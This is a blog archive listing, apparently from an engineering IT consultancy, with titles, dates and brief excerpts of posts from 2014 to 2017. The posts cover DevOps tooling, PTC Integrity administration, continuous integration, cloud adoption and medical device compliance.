• Our Top Technology Stories in 2017 and 2018 Industry Predictions
    December 29, 2017
    SPK wants to wish our growing subscriber community a Happy New Year! We’re honored to be welcomed onto your desktops and smartphones to share stories on how to make your engineering team and company work more efficiently. Perhaps more importantly, we hope any efficiency improvements you were inspired to...
  • Electric Flow Feature Highlight: Environment Reservations for Confident Deployments
    December 14, 2017
    Deploying modern software applications is a complex process involving many moving parts. Adding microservices into the mix amplifies this problem by further decentralizing applications, resulting in more deployment endpoints to track. With all those IP addresses floating around, one of the worst fears of any DevOps engineer is someone...
  • Hybrid Cloud Implementation Pitfalls Your Small Business Needs to Avoid
    December 11, 2017
    If you’re like many SMBs, IT infrastructure is not your favorite topic. You think about it when you have to, which means that it often becomes neglected, lagging behind other capital investments. What’s more, there’s a good chance your current IT  solutions are getting creaky, held together with the...
  • Five Hybrid Cloud Implementation Pitfalls an SMB can Avoid
    November 27, 2017
    You likely know your company's IT infrastructure must be upgraded soon. However, you may be avoiding it due to perceived cost or difficulty. The good news is that you don’t have to make large capital expenditures to expand and update your IT infrastructure. Hybrid cloud solutions offer the best...
  • Setting up Seated Licenses in PTC Integrity Lifecycle Manager
    November 14, 2017
    When it comes to licensing your PTC Integrity Lifecycle Manager server, you have the option of either purchasing seated licenses, floating licenses, or some combination thereof to service your user community.  In this blog, I am going to discuss how to implement seat licenses into your PTC Integrity Lifecycle...
  • Software Engineers at work
    Three Monotonous Tasks That Are Killing Morale In Your Software Engineering Team
    November 7, 2017
    In the engineering world, there’s no underestimating how hard it is to attract and retain top talent. Finding qualified candidates is hard enough. But you want to go one better than that. You want to attract talent that gives your organization a competitive edge. Once you find that talent,...
  • How Automation Helps Reach Target Product Launch Dates and Increases Engineer Morale
    October 27, 2017
    Automation isn’t just for manufacturing tasks. In fact, many of the grinding, repetitive tasks your engineers can’t stand can easily be automated out of existence. Any task that is repeatable is automatable. That means you can save big money on man hours, letting your engineers do what you pay...
  • Electric Flow 8.0 New Feature: Manual and Automated Retry on Error
    October 16, 2017
    Electric Cloud recently released version 8.0 of their build and deployment orchestration tool, Electric Flow. This latest release includes many new features, but the focus of this article will be the ability to retry tasks and stages from a failed pipeline and why this is a very useful feature. If...
  • How to Account for Complex Risk with Jama in Medical Device Manufacturing
    September 26, 2017
    Requirements management isn’t optional in many fields. Medical technology and finance are just two fields where regulatory compliance necessitates requirements management. You and other stakeholders simply must be in total agreement about the requirements of a given deliverable, including all relevant documentation, analysis, prioritization, test plans, and tracing. Requirements...
  • MBSA Security
    Security and Compliance – What Your Company Needs to Know Part 2: MBSA
    September 19, 2017
    You need more than just an antivirus and security suite to keep your system safe. You need multiple, non-redundant solutions covering various aspects of network security. In our last blog, we discussed the role of whitelisting in keeping your network secure. Now we’re going to discuss a tool from...
  • Security and Compliance - What Your Company Needs to Know Part 1: Whitelisting
    September 12, 2017
    Security in the 21st century is a complicated game. The good guys are always playing catch up with the bad guys. Security is particularly important for medtech companies due to their specific compliance needs. Banking and fintech likewise have a high bar for security compliance. Cloud services create far...
  • Creating “Custom” Facts in Puppet
    August 29, 2017
    The servers that I’m managing can be divided into two groups, colo and local servers. While most of the configuration has been similar between these two, there have been a growing number of things which I’ve had to configure differently through Puppet. The latest example of this is with the...
  • How to Navigate Compliance and Cyber Security Concerns in Smart Medical Devices
    August 28, 2017
    The Internet of Things is revolutionizing the medical device field. However, it’s also introducing new compliance headaches. What’s more, large-scale medical hacks loom large in the background. Medical device manufacturers can’t ignore the Internet of Things, but nor can they enter into it lightly. Failing to consider compliance and...
  • Smart Medical Device
    How to Pinpoint the Benefits and Security Risks of Intelligent Medical Devices
    August 11, 2017
    Traditional medical devices are quickly going the way of the ear horn for one simple reason: their valuable data is confined to the device. Some have short-term storage capabilities. None, however, capture data over time for long-term analytics or storage. Intelligent medical devices (IMDs), on the other hand, come...
  • Allowing Custom API Applications in your PTC Integrity Lifecycle Manager Environment
    June 5, 2017
    Recently, I was working on a custom API program for a customer, when I came across something that could be a sticky little problem for someone trying to add custom API programs to their PTC Integrity Lifecycle Manager Environment.  The problem was first manifested when I had a Java...
  • Using Audit Log To Track Promoted Change Requests with PTC Integrity
    May 22, 2017
    Recently, a customer came to me because they wanted to record when changes were promoted from their development environment to their test environment, and later from their test environment to their production environment. They wanted a way to simply tell when changes were moved to test, and then promoted to...
  • The Purpose of Unit Testing
    March 21, 2017
    The way you test software (or don’t) is heavily influenced by your theoretical perspective of its purpose. I've learned that, contrary to my initial belief, unit testing is not about finding bugs. It turns out that manual testing is much more cost effective for discovering new or novel bugs...
  • How to Solve Costly Monotony and Redundancy with Automation
    February 23, 2017
    Redundant and repetitive tasks present a number of challenges for your business. Your engineering team feels bored, like they’re wasting their time. Pretty soon, they’re done being bored and looking for more challenging and rewarding work. With skilled engineers in high demand, your business needs to attract and retain...
  • Puppet Quick Setup Guide (Part 2) - How to Configure Puppet Master
    October 25, 2016
    Recently I explained how to easily set up communication between a Puppet client and master. In this follow up post I’ll outline the steps involved in configuring the Puppet master to control the client machine. Starting out with Puppet does not have to be a challenging experience. However, if...
  • Podcast: Can IoT Jump These Five Hurdles? Episode 5 – Systems Standards with Built-in Compliance
    September 20, 2016
    In episode five of our podcast series "Can IoT Jump These Five Hurdles?", SPK's Director of Strategy, Rajiv Mistry, discusses systems standards and regulation challenges that could impede IoT's future growth and effectiveness. Think VCR v.s. Betamax or Blu-Ray v.s. HDDVD. Rajiv explains how these vendor battles can be...
  • Podcast: Can IoT Jump These Five Hurdles? Episode 4 – TCO and ROI
    August 18, 2016
    In the fourth episode of our podcast series “Can IoT Jump These Five Hurdles?”, SPK & Associates’ Chief Strategy Officer, Rajiv Mistry, explains the challenges of IoT total cost of ownership and return on investment. To see all published episodes, scroll down this IoT category page.   Transcript: Benjamin: Hello, I'm...
  • Puppet Quickstart Guide (Part 1)
    August 11, 2016
    Puppet is the most well-known configuration management tool in the DevOps world and used by systems administrators to centrally manage large numbers of servers and computer systems. There are several Puppet quickstart guides online. However, these guides are unnecessarily long and complicated in my opinion. For example, an administrator learning Puppet for the first...
  • Podcast: Can IoT Jump These Five Hurdles? Episode 3 – IOT Device Serviceability and Environmental Impacts
    August 2, 2016
    In the third episode of our podcast series "Can IoT Jump These Five Hurdles?”, SPK & Associates' Chief Strategy Officer, Rajiv Mistry, explains the challenges of IOT device serviceability and environmental impacts. To see all published episodes, scroll down this IoT category page.   Ben: Hello and welcome to the SPK and Associates...
  • Podcast: Can IoT Jump These Five Hurdles? Episode 2 - Sensor Interfaces and Smart Devices
    July 6, 2016
    In the second episode of our podcast series "Can IoT Jump These Five Hurdles?", we transition from a broad introduction of these five hurdles to a deeper dive into each challenge facing the Internet of Things. Let's begin with the smart device itself and it's digital and analog sensor...
  • Podcast Series: Can IoT Jump These Five Hurdles? - Episode 1: Introduction
    June 23, 2016
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  • Creating and Deploying a Docker Image
    April 26, 2016
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  • Can IoT Jump These Five Hurdles?
    April 22, 2016
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  • PTC Integrity - Risk Management Demo (out of the box)
    April 6, 2016
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  • PTC Integrity Lifecycle Manager - Subversion Integration
    April 4, 2016
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  • PTC Integrity Lifecycle Manager - Branch Extended Demo
    March 29, 2016
    SPK's Vice President of Engineering, Carlos Almeida presents a very short demo of the Branch Extended Plugin in PTC Integrity Lifecycle Manager. Transcript: Carlos: Hi, this is Carlos Almeida of SPK and Associates. Today, I'm going to do a very short demo of the PTC Integrity Lifecycle Manager - Branch...
  • How Docker Helps Your DevOps Infrastructure
    March 23, 2016
    These days, everything is moving to virtual. Virtual reality, virtual machines, and with Docker, virtual filesystems. Actually, Docker is not virtual, it's very real and is a very convenient way to package an entire filesystem and run it on any supported system. Why is this good? How can it...
  • SPK Develops Dashboard for E*Trade’s Electric Commander
    March 17, 2016
    Why are dashboards important? In a nutshell, they allow you to visually present information in a way that is meaningful to the reader. They allow the reader to immediately see trends, and more importantly, quickly make decisions or change behavior in order get better results. At SPK, we’re big believers...
  • Continuous Integration Best Practices—Part 4
    December 21, 2015
    As I noted in other articles in this "Continuous Integration Best Practices" Series (click here for Part 1, Part 2, or Part 3", there are 10 best practice principles associated with Continuous Integration and in this previous articles, we covered the first eight. In this article, we pick up where we...
  • Continuous Integration Best Practices—Part 3
    December 17, 2015
    As I noted in "Continuous Integration Best Practices—Part 1" and "Continuous Integration Best Practices—Part 2" there are 10 best practice principles associated with Continuous Integration and in this previous articles, we covered the first six. In this article, we pick up where we left off and talk about principles seven...
  • Continuous Integration Best Practices—Part 2
    December 15, 2015
    As I noted in "Continuous Integration Best Practices—Part 1" there are 10 best practice principles associated with Continuous Integration and in this previous article, we looked at the first three. For part 2, we pick up where we left off and talk about principles four, five, and six. For review, the full...
  • Today's Growing IoT Problem: Embedded Software Security - An Interview with Cambashi's Peter Thorne
    December 8, 2015
    When it comes to the Internet of Things (IoT) and connectivity, embedded software security is a top concern for a growing number of manufacturing companies and their software engineers. The worldwide market for embedded security software is forecasted to rise to $2.95 billion by 2019 at a growth rate...
  • Continuous Integration Best Practices—Part 1
    December 7, 2015
    Continuous Integration is a leading software development methodology whereby new development is constantly being submitted and tested against the main body of work. The goal being rapid feedback on incremental changes, resulting in lower maintenance costs and higher levels of code stability. The purpose of this article is to...
  • How PLM Companies Can Stop Marketing Cloud Technology and Start Deploying New User Experiences
    December 1, 2015
    Is PLM in the cloud actually delivering new user experiences? According to PLM expert Oleg Shilovitsky that answer is no. He believes PLM companies need to stop marketing cloud technology and start deploying new user experiences in the cloud. SPK and Associates co-founder Chris McHale spoke with Oleg on this...
  • The Difference Between Continuous Delivery and Continuous Deployment
    October 19, 2015
    In my previous article, I define and compare the two software development practices of Continuous Integration and Continuous Delivery. The two practices are complementary and potentially overlapping, but at least their names give us the hint that they are distinct. If presented with the two terms “Continuous Delivery” and...
  • How a Document actually looks in PTC Integrity Lifecycle Manager
    October 14, 2015
    By now you have probably seen literally dozens of articles I’ve written on PTC Integrity Lifecycle Manager, talking about the ins and outs of various pieces of functionality. Today I thought it was time to go into greater detail on documents and how they are constructed in PTC Integrity...
  • Podcast: Oleg Shilovitsky Discusses PLM News and Trends at Aras and Autodesk
    October 8, 2015
    The last time SPK and Associates co-founder Chris McHale spoke with PLM expert Oleg Shilovitsky, they discussed the difficulty of BOMs across engineering disciplines and across the product lifecycle. Here is their next discussion on the latest PLM news and trends around Aras and Autodesk. Transcript: Chris: Hi, this is Chris...
  • Requirements Management in the PTC Medical Device Solution
    October 6, 2015
    One of the major points of pain in any development process is how do you prove that the product you’ve built for the marketplace actually does everything you want it to do. The simple answer of course is “Why you test it to make sure.” But the simple answer...
  • The Difference Between Continuous Integration and Continuous Delivery
    September 30, 2015
    If you've spent any significant amount of time in the world of DevOps and Agile software development practices, you've likely encountered the terms Continuous Integration (CI) and Continuous Delivery (CD). For several years, I've had these terms thrown around me during the course of my work as a consultant,...
  • Three Ways to Narrow your Query results in PTC Integrity Lifecycle Manager
    September 17, 2015
    One of the most powerful features of PTC Integrity Lifecycle Manager is the ability for system Administrators to have a set of pre-defined queries set up in the system that the user community can use to perform all of their basic tasks. Often times though, out of necessity, those...
  • Integrity to Windchill Integration: A Product Demo
    September 11, 2015
    In a previous blog article I discussed, at a high level, the Integrity to Windchill integration for PTC Integrity Lifecycle Manager. Now that we have seen some of the context of how the Integration is supposed to work, I thought it would be a good idea to actually show...
  • Podcast: Peter Thorne Discusses Hot Trends in Product Lifecycle Engineering Tools
    September 1, 2015
    SPK and Associates co-founder Chris McHale speaks with Peter Thorne, director at Cambashi, a Cambridge, England-based independent industry analyst firm. With his over 30 years of experience as a software engineer user, vendor, and now analyst, Peter's in a great position to watch the market identify trends and upcoming...
  • Risk Management in the PTC Integrity Medical Device Solution
    August 10, 2015
    An important part of creating any product intended for use in the medical field is that the manufacturer should have identified all of the risks involved in using the device, and have done their best to mitigate those risks before their product ever sees a patient. With this in...
  • Leveraging PTC Integrity as a Medical Device Solution
    August 5, 2015
    When you first purchase PTC Integrity Lifecycle Manager, what you are getting is pretty much a blank canvas. To assist you in getting your operation off the ground, PTC also provides a number of different pre-built solutions. These solutions have been designed to target different industry verticals. For example, PTC...
  • Podcast: Oleg Shilovitsky Discusses the Difficulty BOM's Across the Product Life Cycle
    July 15, 2015
    Last month, SPK and Associates co-founder Chris McHale spoke with PLM expert Oleg Shilovitsky on the difficulty of BOMs across engineering disciplines.  In part two of the discussion, they focus in on the difficulty of BOMs across the product life cycle. This is Chris and Oleg’s third episode of...
  • How to Count Days in State Within a PTC Integrity Report
    July 9, 2015
    In the second of a group of supplemental articles on Metrics, Metrics, Metrics I am going to examine how you can report on days in state within your PTC Integrity Lifecycle Manager application. Of course your very first questions are likely going to be is “What the heck does...
  • Integrating your PTC Integrity Environment with Windchill
    July 6, 2015
    PTC Integrity Lifecycle Manager and PTC Windchill are two enterprise level applications that many large companies have invested in as part of their product development environment. Often time’s companies will use PTC Integrity Lifecycle Manager to handle the software components of their new product development, while using PTC Windchill...
  • Why Software Builds Fail and Areas for Improvement
    June 29, 2015
    In a recently published paper, researchers at Google examined the issue of failed software builds within their organization. Specifically, they wanted to address the separate questions of "How often do builds fail?", "Why do builds fail", and "How long does it take to fix broken builds?" To answer these...
  • Enhancing Electric Commander Build Processes by Creating Dynamic Job Steps
    June 23, 2015
    In a simple, straight-forward implementation of a continuous integration pipeline you would typically create a chain of procedures that perform the same set of operations on the supplied input.  This provides a build process that is well-defined, repeatable, consistent, and which functions as the foundation for deploying quality software. ...
  • Improving CI Build/Test Execution Times Through Improved Build Specifications
    June 18, 2015
    It may come as no surprise that Google has a very large code base. With over 15,000 developers sending new code changes to their continuous Integration (CI) system every second, Google is constantly seeking methods to optimize both the size of their code base and the execution time of...
  • Podcast: Oleg Shilovitsky Discusses the Difficulty of BOMs Across Engineering Disciplines
    June 15, 2015
    SPK and Associates co-founder Chris McHale speaks with PLM expert Oleg Shilovitsky, founder of BeyondPLM.com, to get his insight on the difficulty of BOMs across engineering disciplines. The pair will soon follow up with another podcast talking about the difficulty of managing the BOM across the enterprise. So with that...
  • Metrics, Metrics, Metrics in PTC Integrity: Part 4
    June 11, 2015
    In the three previous rounds of this Metrics, Metrics, Metrics series,  I discussed gathering metrics, and building Reports and Charts in PTC Integrity Lifecycle Manager. In this article, we will discuss how you can take various charts, reports and queries and put them together to build a PTC Integrity...
  • How to rename column headers in your PTC Integrity Custom Reports
    June 4, 2015
    In the Metrics, Metrics, Metrics series of articles I wrote about PTC Integrity Lifecycle Manager, I talked about how you can use metrics information gathered from fields on your report to build custom reports, charts and dashboards. Now that the main series is complete, I will follow up with...
  • New Podcast: Talking Beyond PLM with PLM Expert Oleg Shilovitsky
    May 26, 2015
    SPK and Associates co-founder Chris McHale previously spoke with PLM expert Oleg Shilovitsky, founder of BeyondPLM.com, to get his top three product lifecycle management (PLM) predictions for 2015. Now they are teaming up monthly to discuss relevant industry items uncovered by Oleg's blog. Below is their first episode of "Talking...
  • An Overview of PTC Integrity Test Management
    May 5, 2015
    Major portions of any PTC Integrity Solution are the test artifacts. Many customers when they initially start to look at PTC Integrity Lifecycle Manager are generally looking at it as way of managing their requirements, or as a way of maintaining compliance in highly regulated industry verticals like automotive...
  • Electric Commander: Performance Comparison Between ectool and ec-perl
    April 29, 2015
    Prior to version 5.2, Electric Commander has offered two primary ways to access the API for scripting purposes: ectool and ec-perl. Both allow users to accomplish virtually any task within Commander, but it’s important to note there is a significant performance difference between the two. Ectool remains an excellent choice...
  • How to Set-up and Perform Impersonation on PTC Integrity
    April 27, 2015
    From time to time, if you are administering a PTC Integrity Lifecycle Manager you’ll need to be able to log into PTC Integrity as one of the users you support. If you want to avoid requesting their password (if your company uses LDAP to synchronize everyone’s PTC Integrity password...
  • Electric Commander: Transferring Homepage Settings Between Users
    April 21, 2015
    The Electric Commander homepage allows you to bookmark links and job configurations for easy access. It's easy to add one or two, but if you have a lot of links and you want to share them with other users so that they have the same links as well, its...
  • Electric Commander: Configuring an Alternate Plugins Directory
    March 10, 2015
    Electric Commander allows you to set up an alternate location for your plugins directory. This is a two step process and it's easy to forget the second step. If the second step is not done, the system can appear to still be functioning properly, but there will be definite...
  • Metrics, Metrics, Metrics in PTC Integrity: Part 3
    March 3, 2015
    In my previous articles, I discussed how we can calculate trace report metrics, and then gather them into a report. In this report, I am going to discuss how we can gather similar metrics and put them into a chart format. This time though we are going to use...
  • Using Ship.io to Implement Coding Best Practices for Native iOS and Android Apps
    February 10, 2015
    Mobile application developers have a new tool in their arsenal when it comes to increasing their software quality and speed of production. With the recent launch of their new site, Ship.io, Electric Cloud is looking to bring Continuous Delivery to native iOS and Android app development. Ship.io's main goal is...
  • Getting Started with Electric Cloud's ntest Tool
    February 3, 2015
    Electric Cloud has just released an open-source tool called ec-testing for unit testing ElectricCommander procedures. In this video below, I demonstrate how to download the tool, set it up, and run example test cases.   Next Steps: Contact SPK and Associates to see how we can help your organization with our ALM, PLM, and Engineering...
  • Metrics, Metrics, Metrics in PTC Integrity: Part 2
    February 2, 2015
    In my previous entitled “Metrics, Metrics, Metrics in PTC Integrity: Part 1” I introduced the out of the box traceability metrics that come with PTC Integrity, and talked a little bit about how they work. In this article I will build on that by showing how you can leverage...
  • Metrics, Metrics, Metrics in PTC Integrity: Part 1
    January 29, 2015
    In any type of Requirements management or development system, the ability to track metrics on what is being done is an important component of knowing where you are in your delivery cycle. This article will be the kick off in a series of articles that will discuss how we...
  • Top 3 PLM Predictions for 2015
    November 24, 2014
    SPK and Associates co-founder Chris McHale recently spoke with PLM expert Oleg Shilovitsky, founder of BeyondPLM.com, to get his top three product lifecycle management (PLM) predictions for 2015. 1. PLM vendors will encounter greater complexity when delivering cloud solutions Cloud solutions may have gone largely unnoticed a few years ago, but...
  • How to lock down users on your PTC Integrity Server
    October 30, 2014
    Recently I was doing some work for a customer, experimenting with allowing limited access to non-Administrator class users using the PTC Integrity Administration client. I discovered that once a standard user gained access to the PTC Integrity Administration client, there were plenty things they could potentially do that would...
  • Are You Asking The Right Cloud Security Questions?
    September 25, 2014
    In my most recent blog articles, I discussed a few aspects an organization might want to consider when looking at a cloud-based solution. Security is one of the top issues on the list. Regardless of whether your application consists of highly sensitive patient data for example, or if it...
  • Bringing Your Own Apple Device and Developing a BYOD Policy
    September 23, 2014
    In today’s world, everyone has a mobile device; cell phones, tablets, or a hybrid of the two. In a blog post published on ZDNet in June 2014, Dimensional Research conducted a survey of more than 300 IT leaders, and concluded specifically Apple’s enterprise presence is only growing stronger. To paint a...
  • It Takes a City – Cloud Backup Goes Big
    September 15, 2014
    Not long ago, the city of Asheville, NC migrated their infrastructure backups and disaster recovery to a cloud backup solution utilizing Amazon Web Services (AWS). This not only saved the city government a lot in expenses, it provided the city a fail-safe in case of disaster. If something major...
  • Bringing Your Own Android and Developing a BYOD Policy
    September 11, 2014
    The concept of letting employees bring their own phones and devices to work has become more and more common. Employees want to use their personal devices in the workplace without having to carry around a second device for personal use. While this helps with cost cutting and end-user happiness,...
  • Continuous Integration Best Practice: Including a Version Number in Builds
    September 9, 2014
    Building software source code is an integral part of continuous integration and is the backbone of developing useful software. By “build”, I mean that the source code needs to be received as input to a compiler and a binary of some sort emitted for the software to become useful. So...
  • What New iOS and Android Versions Teach Us About UI Design
    September 8, 2014
    Android L and iOS 8 are bringing big changes to their respective user interfaces, shaking up not only their visual appeal, but striving to change how users operate their devices. Sundar Pichai of Google has commented that L represents one of their "most comprehensive releases", bringing with it over...
  • Configuring PTC Integrity to use a Remote FLEXnet License Service
    September 4, 2014
    You may want to add a new PTC Integrity development and/or test server to your existing PTC Integrity production environment -- and rather than have separate license files on each server, you want to access the already plentiful licenses on your PTC Integrity production environment. You may even have a...
  • Medical Device Development: First to Market
    August 28, 2014
    In the world of fast competitive marketing, a lot of attention goes to the first company who develops a creative breakthrough and comes out with a cool new device first. New technology in the medical device market has resulted in several new products which include; wearable medical devices, wireless...
  • What Are The Key Agile and Lean Software Development Practices?
    August 27, 2014
    Agile and Lean Software Development approaches came into favor in the late nineties and beginning of the 21st Century in reaction to the many issues with traditional plan-driven, heavyweight software development processes. However, many of the practices embodied in Agile or Lean Software Development approaches are well established, and...
  • Have Hybrid Cloud Solutions Become Commonplace? IBM Thinks So
    August 25, 2014
    IBM’s acquisition of SoftLayer roughly a year ago has supposedly fueled hybrid cloud adoption -- but why now, and why hybrid solutions? After all, isn't the beauty of the cloud its scalability, quick implementation times, and low cost? Wanting to retain physical IT infrastructure seems contradictory to that. My experience...
  • 3 Ways That HxD Can Promote Software Engineering Best Practices
    August 21, 2014
    It can often be the case that better software engineering practices may be promoted by the use of good software engineering tools. That is, tools that assist the engineer to better understand the current state of the work product. As we know, the final work product is normally some...
  • What Happened to IPv6?
    August 20, 2014
    There was a lot of talk about IPv6 and how it would affect users and IT infrastructure as a whole when we ran out of IPv4 addresses in 2011. Since then, on the consumer and individual level, we have not seen much change. End users still use their IPv4...
  • How to Create Your Own Custom Queries with PTC Integrity
    August 18, 2014
    Often times when I am using PTC Integrity, I am performing the same or similar tasks over and over again. By default, PTC Integrity offers you something called your Quick Query where you can save a query and run it over and over again. But what if one query...
  • How a Possible VMWare Spin Off Affects your Company
    August 12, 2014
    A possible EMC/VMWare spin off is in the works, which could benefit stock prices and investors, but what about companies relying on VMWare's high availability virtualization software? Would a spin off mean improved technology focus, or a shift in the virtual machine (VM) leader landscape? In a previous post, I...
  • Is the Windows Phone 8 Ready for the Enterprise?
    August 11, 2014
    Is the Windows Phone 8 Ready for the Enterprise? I suppose the short answer would be, 'compared to what?' I've been an Android user, an iPhone user, and now I'm using a Windows Phone 8 -- and I have my gripes about all of them. Of course the real problem is...
  • How to Best Recover your Infrastructure Systems in Case of Disaster
    August 6, 2014
    Every system administrator's worst nightmare is having a total disaster of their infrastructure systems. Disaster could take many forms, such as a natural disaster or even doing a physical move of a server and dropping the server, destroying it. The goal when disaster hits is to bring back your infrastructure...
  • Software Development Best Practices: Code Reviews - Part 3
    August 4, 2014
    In this third and final installment of my three-part software engineering best practices series on code reviews, we will look at the various tools available to facilitate the code review process. We've already looked at the benefits of code reviews and why conducting them is crucial to your software development lifecycle --...
  • Configuration Management: The Heart of Your Software Development Lifecycle ‎(SDLC)
    July 24, 2014
    Does your software development organization have a well defined and implemented configuration management (CM) process? For many organizations, they equate the CM process with having a revision control tool in place. While versioning is a necessary prerequisite to implementing a configuration management process, it is just a small part...
  • How to Create ViewSets in PTC Integrity
    July 21, 2014
    Within PTC Integrity, a viewSet is a collection of views that persist each time the user opens and closes the PTC Integrity Client. Integrity offers the ability for administrators to pre-configure viewSets for distribution throughout their local user communities. Using viewSets, administrators can provide a more custom experience for...
  • My Arsenal of Product Development Tools
    July 16, 2014
    There are so many tools that are available to help make the process of coding more efficient, less time consuming, and overall a better experience. There are a number of tools / configuration settings I utilize in my environment to help make my overall coding / scripting and product...
  • 5 Reasons You Want Your PLM in the Cloud
    July 14, 2014
    Put it in the cloud. You’ve heard this catch phrase over and over again, more so in recent years with the proliferation of online technologies and services. As more and more PLM software vendors choose to move their application to the cloud, should you consider moving your application to...
  • Software Development Best Practices: Code Reviews – Part 2
    July 10, 2014
    In this installment of my three part software engineering best practices series on code reviews (read part one here), we will look at how to make code reviews successful. Code reviews are one of the most effective software engineering best practices you can adopt to increase the quality of you...
  • Modern Medical Device Design in the IoT Era
    July 9, 2014
    In the past, medical device design focused on a standalone unit or a group of a couple devices that worked together. While that was a great idea, the number of compatibility issues that could occur also blocked connectivity to other devices. With the stream of new devices that contain...
  • 5 Continuous Integration Best Practices to Consider
    July 8, 2014
    This week we would like to have a look at some continuous integration best practices. The list presented here is not exhaustive, and was inspired by a larger post on the topic at:  http://www.thoughtworks.com/continuous-integration Our purpose is to expand on some of the concepts presented by ThoughtWorks and explain why...
  • Infrastructure Systems: Cloud, Hybrid, and IPv6
    July 3, 2014
    I recently returned from TechEd North America 2014, which was in Houston, TX this year. There were hundreds of vendors and around 10,000 attendees. One of the hottest topics this year was the topic of Cloud – what does it mean for the enterprise and how does it affect...
  • Software Engineering Best Practices: Code Reviews – Part 1
    July 2, 2014
    This article is going to be the first in a three-part software engineering best practices series on code reviews. Here, we will focus on what a code review is and why it’s an integral part of a mature software development lifecycle (SDLC) process. In the following installments, we'll talk...
  • OSS, Heartbleed, and the Impact on Medical Device Design
    June 17, 2014
    The use of open source software (OSS) within the medical device industry is a double edged sword. On one end of the spectrum, you have freely available code that is available for the world to scrutinize. In the process, one would hope that bugs are more easily identified. OSS...
  • Wearable Medical Devices: The Latest Medical Device Design Trend
    June 12, 2014
    As humans, we depend on feedback. Everyone likes feedback, whether a glance in the mirror, a friendly compliment or financial reward for a great job. Now thanks to the advancement of medical device design, high tech trends, and use of micro-computers, you can get immediate feedback on your bio-signs...
  • How-to Run Android 4.4 (KitKat) using VMWare Player
    June 9, 2014
    Did you see our guide for running Android 4.0 in VMWare from two years ago? We've updated the instructions, below, to help you get the newest version of Android running to use as a product development tool. Download and setup VMWare Player 6 (note that you will need VMWare...
  • MKSSI Environment Variable – an Integrity PLM Software Primer
    June 5, 2014
    I'm not a programmer by trade, so I've had to force feed myself a lot of knowledge – some of it makes sense, some of it is beyond me. I've written this post to serve as an Integrity PLM Software Primer for the MKSSI Environment Variable. I hope you find...
  • 4 Hardware Recommendations when Using VMs as a Product Development Tool
    June 4, 2014
    These days, there is no practical obstacle to using machine virtualization to solve computing problems without the need of acquiring additional hardware. In fact, virtual machines are a compelling product development tool. There are a variety of virtualization tools available, from the free Virtual Box, to VMWare Workstation, as well...
  • Cyber Security in Medical Device Design
    June 2, 2014
    With the push by big technology players (Cisco, Google, Intel, etc.) towards connectivity in everyday devices, cyber security is becoming more and more crucial. This push is even seen in medical device design as the industry begins to move toward cloud-integrated and network-connected devices so that they may be monitored...
  • How to create Column Contexts for PTC Integrity documents
    May 29, 2014
    One handy feature of PTC Integrity is the column context. Through the use of the column context a user can easily change what document columns are presented to them in the document view based on the role or task they are performing. For example, by default a column context can...
  • Mobile CAD Applications - Ready for Primetime?
    May 28, 2014
    One of the main reasons people purchase a smartphone is to have information at their fingertips. Does that apply to the world of CAD applications? The answer is very dependent on what you want to actually do with this data. Do you want to design a complex semiconductor on...
  • Exploring Java 8's New Feature: Lambda Expressions
    May 12, 2014
    Recently, Oracle announced the release of Java 8. This latest edition has some interesting new features, most notably the inclusion of lambda expressions and the ability to do multiple inheritance through default methods. We’ll spend the bulk of this article exploring lambda expressions and how they can be useful for...
  • Common issues using OVF Tool to transfer VMs from the ESXi Shell
    April 29, 2014
    Chances are if you are in IT management or providing IT services you have had to deal with virtualization hosts. When it comes time to retire your old hardware and move to a new host, there are a number of different ways to go about it. One in particular...
  • WinDirStat and Windows File Management
    April 23, 2014
    This week we want to cover a utility that allows users to manage the buildup of files that eat up space on your storage device. We are speaking about WinDirStat, which is a tool that presents a graphical view of your entire storage drive (or from a folder level)....
  • Configuring SolidWorks Workgroup PDM for Email Alerts with PDF Attachments
    April 16, 2014
    The most common request we receive for SolidWorks Workgroup PDM is, “How do I get emails when items are checked in?” If Workgroup PDM works for you but you’d like this feature, here is the source code for a Python script that will send an email – with a...
  • Trigger UAC to Ensure Scripts are run As Administrator in Windows 7
    April 10, 2014
    I wanted to post this solution since we run into this problem all the time: Often, our .bat scripts include making registry changes or copying files which require Administrative access. This code will cause the .bat file to trigger a UAC prompt before running AsAdministrator -- allowing us to make...
  • Unix 101: Utilize the "Screen" Command
    April 8, 2014
    In my previous post, I highlighted 5 great commands to improve administering your Unix machines within your infrastructure. The very first command I mentioned was screen, which allows you to run multiple pseudo-terminal "windows" within one shell session. Screen also allows you to maintain whatever you're doing in the shell...
  • Executives, Can you Afford to Stay on a Windows PC?
    March 17, 2014
    As the CEO of a technology services company, my personal computing necessities are actually quite simple. I've got to have easy, reliable access to the Internet, the basic Microsoft suite of tools, and I need synchronized email with Gmail, my computer and my mobile device. I know my “simple...
  • How To Leverage Jira as a Service Desk
    March 10, 2014
    Many of you are undoubtedly familiar with using Jira as an issue tracker. But for those of you who have been juggling issue tracking and meeting SLA requirements -- and for those of you who had the recently acquired VertygoSLA addon -- this article may be useful as you may...
  • March 19th Medical Device Seminar: Ready for ROHS 2 in July 2014?
    February 27, 2014
    Device manufacturers have until this summer to ensure their devices comply with the EU's Restriction of Hazardous Substances Directive – commonly called the RoHS Directive – to be able to earn CE Marking. In short, no RoHS compliance, no CE Marking, no selling in the EU. Join us at our...
  • Installing Java 7 JDK, Eclipse 4.3 (Kepler) and the Eclipse GWT Plugin on Ubuntu 12.04.3
    February 24, 2014
    As a provider of engineering services, the majority of my projects involve developing GWT applications, and I do all my work almost exclusively in Ubuntu. Ubuntu 12.04, specifically, has many convenient features and I highly recommend it to anyone looking to get their start in the world of Linux...
  • Ultrabooks Place in the Workplace
    February 18, 2014
    Ultraportable laptops and Ultrabooks have become the new machines to have. They are smaller, thinner, and lighter making them the preferred choice for most engineering and IT professionals over the older clunkier notebook workstations. Even before the push by Intel with their Ultrabook, branding the desire to have these...
  • Tips and Tricks to using Windows 8
    January 30, 2014
    I recently upgraded to Windows 8 from Windows 7 on my HP Pavillion dv6 laptop. For me, it was a matter of needing to re-install my system after a hard disk failure. I opted for  Windows 8 mainly to test the new operating system. From a feature standpoint, Windows 8...
  • 5 Unix Commands You Might Not Be Using (But Should Be!)
    January 22, 2014
    Pretty much every day I do some system administration on one of our many Linux servers that we support as part of our managed IT services. It occurred to me that I use a bunch of utilities and tools within Linux to make my job easier and wanted to...
  • Agile Development in Regulated Environments Part 2: Key Practices
    January 13, 2014
    In Agile Development in Regulated Environments -- Part 1: Yes, it can work, I covered the common misconceptions about Agile Software Development -- specifically in highly-regulated industries like medical device. The common myth that regulators would not accept Agile practices has been disproved, with a number of industry and regulatory...
